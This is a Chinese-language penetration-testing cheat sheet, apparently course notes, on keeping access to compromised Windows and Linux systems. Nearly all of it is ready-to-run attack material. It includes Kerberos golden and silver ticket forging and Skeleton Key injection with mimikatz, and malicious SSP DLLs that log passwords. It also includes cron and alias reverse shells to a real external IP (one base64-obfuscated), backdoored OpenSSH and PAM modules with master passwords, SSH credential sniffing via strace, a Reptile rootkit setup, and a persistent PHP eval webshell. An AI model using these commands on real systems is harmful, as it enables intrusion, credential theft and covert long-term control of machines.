权限维持小结
windows
1.自启动
1、自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
2、自启动服务加载 (服务重启system权限)
sc create ServiceTest binPath= C:\xd.exe start= auto
sc delete ServiceTest
3、自启动注册表加载
-当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
-服务器键值
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\xd.exe"
4、计划计时任务 at&schtasks
2.粘滞键
系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。
粘滞键位置:
c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe
3.映像劫持
notepad.exe calc.exe explorer.exe
执行 notepad 时运行 cmd,运行一次记事本就运行一次程序
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
配合 GlobalFlag 隐藏:执行正常关闭后触发
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\xd.exe"
4.屏保&登录
1、屏幕保护生效后执行后门
reg add "HKEY CURRENT USER\Control Panel\Desktop" /V SCRNSAVE.EXE /t REG_SZ /d "C:\xd.exe" /f
2、winLogon,用户登录时触发
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\xd.exe"
5.隐藏用户
https://github.com/wgpsec/CreateHiddenAccount
CreateHiddenAccount -u xiaodi -p Xiaodi!@#45
控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除
CreateHiddenAccount -c #查看隐藏账户
6.黄金白银票据
黄金票据⽣成攻击,是⽣成有效的 TGT Kerberos 票据,并且不受 TGT⽣命周期的影响
,这⾥可以为任意用户生成黄金票据,然后为域管理员生成 TGT,这样普通⽤户就可以变成域管理员。
白银票据是利用域的服务账户进行伪造的 ST,在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得Session Key。所以只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用(不需要交互 KDC,需要知道Server 的NTLM Hash)。
黄金方法:
1、已经拿下域管理员,获取到 krbtgt hash;
2、利用 krbtgt 的 hash 制作黄金票据工具,进行攻击。
流程:
1、域名:god.org
2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz privilege::debug
mimikatz lsadump::lsa /patch
4、伪造用户名:webadmin(任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:xiaodi
导入内存:
mimikatz kerberos::ptt xiaodi
访问测试:
dir \owa2010cn-god\c$
后期渗透:结合前面的课程
net use \owa2010cn-god
黄金票据总结:
该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法。第一次拿到域管权限之后,需要将krbtgt NTLM hash进行保存,当第二次再来进行域渗透攻击时,我们就可使用krbtgt的NTLM hash制作黄金票据,从而再次获得域管权限。
白银方法:
1、已经拿下域管理员,获取到DC hash;
2、利用DC的hash制作白银票据工具,进行攻击。
流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域DC账户NTLM-HASH:82779569ef27d72b88b6c93dd8b37299
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
4、伪造用户名:webadmin(任意用户名)
导入票据:(CIFS文件共享服务)
domain:域名
sid:域环境下的SID,除去最后-的部分剩下的内容
target:要访问的服务器,写FQDN
rc4:写的是目标主机的NTLM(主机名$对应NTLM)
service:要访问的资源类型
user:伪造的用户
cifs:共享文件
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-1-1218902331-2157346161-1782232778 /target:owa2010cngod /service:cifs /rc4:82779569ef27d72b88b6c93dd8b37299 /ptt
白银票据总结:
1、伪造的ST,只能访问指定的服务,如CIFS;
2、不与KDC交互,直接访问Server;
3、ST由服务账号 NTLM Hash 加密
7.软件-GotoHTTP&RustDesk
连上去狠狠关闭杀软😋
C2 GotoHTTP
https://gotohttp.com/goto/download.12x
利用场景:有网络下,需要绕过杀毒等网络防护B2C模式,
无需安装控制端软件,有浏览器就可以远控。
流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。
C2 RustDesk
https://github.com/rustdesk/rustdesk
利用场景:无需网络,需要绕过杀毒等网络防护
有图形化就看密码是什么,没有就读config文件
1、有网连接:
C:\Users\用户名\AppData\Roaming\RustDesk\config其中ID和密码在RustDesk.toml文件里
2、无网内网连接:
在用户文件下的RustDesk配置文件RustDesk2.toml中添加两行
direct-server ='Y'
direct-access-po
rt=8443
8.基于验证 DLL 加载-SSP
简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限
方法一:但如果域控制器重启,被注入内存的伪造的 SSP 将会丢失。
privilege::debug
misc::memssp C:\Windows\System32\mimilsa.log #要记录账号密码的文件
方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll 传到目标域控的 c:\windows\system32\目录下
2、修改注册表,重启之后生效
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ c:\windows\system32\kiwissp.log #要记录账号密码的文件
技术总结:
攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。
9.基于验证 DLL 加载-HOOK
修改密码时获取密码
https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking
powershell
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
报错解决:
powershell
Set-ExecutionPolicyunrestricted
10.基于机制账号启用-DSRM
DSRM是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
1.获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtqt
token::elevate
lsadump::sam
2.dsrm&krbtgt&NTLM hash同步
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3.修改dsrm登录方式
New-ItemProperty “hklm:\system\currentcontrolset\control\lsa” -name “dsrmadminlogonbehavior”-value 2-propertyType DWORD
4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \owa2010cn-god\c$
技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统>=windowsserver2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
11.基于用户属性修改-SID history
1、获取某用户SID属性:
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
3、测评给与前后的DC访问权限:
dir\192.168.3.21\c$
技术总结:
把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。
12.基于登录进程劫持-Skeleton Key
1、测试域内某个用户与DC通讯
dir \owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \\192.168.3.21\ipc$ "Admin12345" /user:god\administrator
mimikatz
privilege::debug
misc::skeleton
3、重新测试域内某个用户与DC通讯
net use \owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \owa2010cn-god\c$
技术总结:
注入万能密码,因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。
linux
1.定时任务
利用系统的定时任务功能进行反弹 Shell
1、编辑后门反弹
vim /etc/.xiaodi.sh
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
chmod +x /etc/.xiaodi.sh
2、添加定时任务
echo "*/1 * * * * root /etc/.xiaodi.sh" >> /etc/crontab
2.ssh软链接&公私钥&新帐号
1、SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p8888 任意密码登录即可
2、公私钥
https://www.bilibili.com/read/cv17721345/
开启:vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized
生成公私钥
keysssh-keygen -t rsa#三次回车
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
3、后门帐号
添加root用户:
添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
增加超级用户账号
echo "xiaodi:x:0:0::/:/bin/sh">>/etc/passwd
passwd xiaodi #修改密码为xiaodi123
3.OpenSSH 后门
原理:替换本身操作系统的 openssh,重新安装自定义的 openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
文章中有处理配置文件和安装日志的方法
https://www.cnblogs.com/csnd/p/11807653.html
https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw
1、环境准备:
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
2、编辑密码:
vim version.h #把版本修改为原来版本
vim includes.h
177 #define ILOG “/tmp/ilog” #ILOG 是别人用 ssh 登录该主机记录的日志目录
178 #define OLOG “/tmp/olog” #OLOG 是该主机用 ssh 登录其他主机记录的日志目录
179 #define SECRETPW “xiaodi” #万能密码
180 #endif /* INCLUDES_H */
3、安装编译:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam –
with-kerberos5 && make && make install
service sshd restart #重启 sshd 服务
systemctl status sshd.service #查看 ssh 启动状态
拓展玩法:
1、可以采用万能密码登录
2、实现监控服务器登录登出的账号密码(发到外网)
4.ssh-PAM 后门
参考:https://xz.aliyun.com/t/7902
PAM 是一种认证模块,PAM 可以作为 Linux 登录验证和各类基础服务的认证,简单来说就是一种用于 Linux 系统上的用户身份验证的机制。进行认证时首先确定是什么服务然后加载相应的 PAM 的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的 PAM 后门也是通过修改 PAM 源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、1解压缩,修改pam unix auth.c文件,添加万能密码
3、编译安装PAM
编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即 使用万能密码登陆,将用户名密码记录到文件中。
-配置环境
关闭selinux setenforce 0
查询版本rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flexflex-devel -y
-修改配置:
留PAM后门和保存SSH登录的账号密码
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/*verify the password of this user */
retval=_unix_verify_password(pamh,name,p,ctrl);
if(strcmp("hackers",p)==0){return PAM SUCCESS;} //后门密码
if(retval==PAM_SUCCESS)
FILE * fp;
fp = fopen("/tmp/.sshlog","a");//SSH登录用户密码保存位置
fprintf(fp,"%s :%s\n",name,p);
fclose(fp);}
name =p=NULL;
AUTH RETURN;
-编译安装:
./configure && make
-备份复制:
备份厡有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
5.Strace 后门
strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
获取账号密码,权限维持
1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log
6.Alias 后门
alias 命令的功能:为命令设置别名
定义:alias ls = 'ls -al'
删除:unalias ls
1、简单:
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'
2、升级:
alias ls='alerts(){ ls $*--color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambdab:bytes(b,"\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNz0wpyZXQgPSBvcy5mb3JrKCkKaWYgCmVOID4gMDOKICAgIGV4aXQOKQpIbHN1OgOgICAgdHJ5OgOgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2t1dC5BR19JTKVULCBzb2NrZXQuU09DS19TVFJFQUOpCiAgICAgICAgCy5jb25uZWN0KCGiNDCUOTQMjM2LjExNyISIDY2NjYpKQOgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSWgMCKKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCKSIDEpCiAgICAgICAgb3MuZHVwMihzLZpbGVubygpLCAyKQOgICAgICAgIHAgPSEzdwJwcm9j2XNzLmNhbGwoWyIvYmluL3NoIiwgIi1pI10pCiAgICBleGNlcHQgRXhj2XB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))'';};alerts'
7.内核加载LKM-Rootkit后门
现在常用的inux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
https://github.com/f0rbldd3n/Reptile/releases
自动化脚本搭建
Centos,Ubuntu
$kernel=`uname`
#Centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x./setup.sh
./setup.sh install<<EOF
reptile
hax0r
s3cr3t
reptile
666
47.94.236.117
4444
1
EOF
#ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/&& chmod +x./setup.sh
./setup.sh install <<EOFreptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF
隐藏进程:/reptile/reptile_cmd hide xx
显示进程:/reptile/reptile_cmd show xx
ps -ef | grep 2792
/reptile/reptile cmd hide 2792
隐藏连接:/reptile/reptile_cmd udp xx xx hide
显示连接:/reptile/reptile_cmd tcp xx xx show
netstat -anpt
/reptile/reptile_cmd tcp 100.100.45.106 443 hide
隐藏文件:
文件名中带reptile的都会被隐藏
mkdir reptile_xiaodi
mkdir reptile_file
2、高级玩法
隐藏上线
客户端安装
./setup.sh client
设置连接配置
help
show #查看配置
set LHOST 47.94.236.117
set LPORT 4444
set SRCHOST 47.94.236.117
set SRCPORT 666 #安装时填好的两个端口
set RHOST 121.43.154.113
set RPORT 22 #netstat -anpt找一个开放的端口
set PROT tcp
set PASS s3cr3t
set TOKEN hax0r
rookit检测项目
rookit魔改避免检测项目
webshell内存马
Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类木马,其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。
#PHP 内存马:
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents 函数:将一个字符串写入该文件中
usleep 函数:延迟执行当前脚本数微秒,即条件竞争
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
#Java内存马:
-Java Instrumentation类(Agept型)
-Servlet-api类(Servlet型、Filter型、Listener型)
-Spring类(Controller型、Interceptor型)
演示:
1、Servlet-api类(Servlet型、Filter型、Listener型)
2、哥斯拉,冰蝎内存马功能使用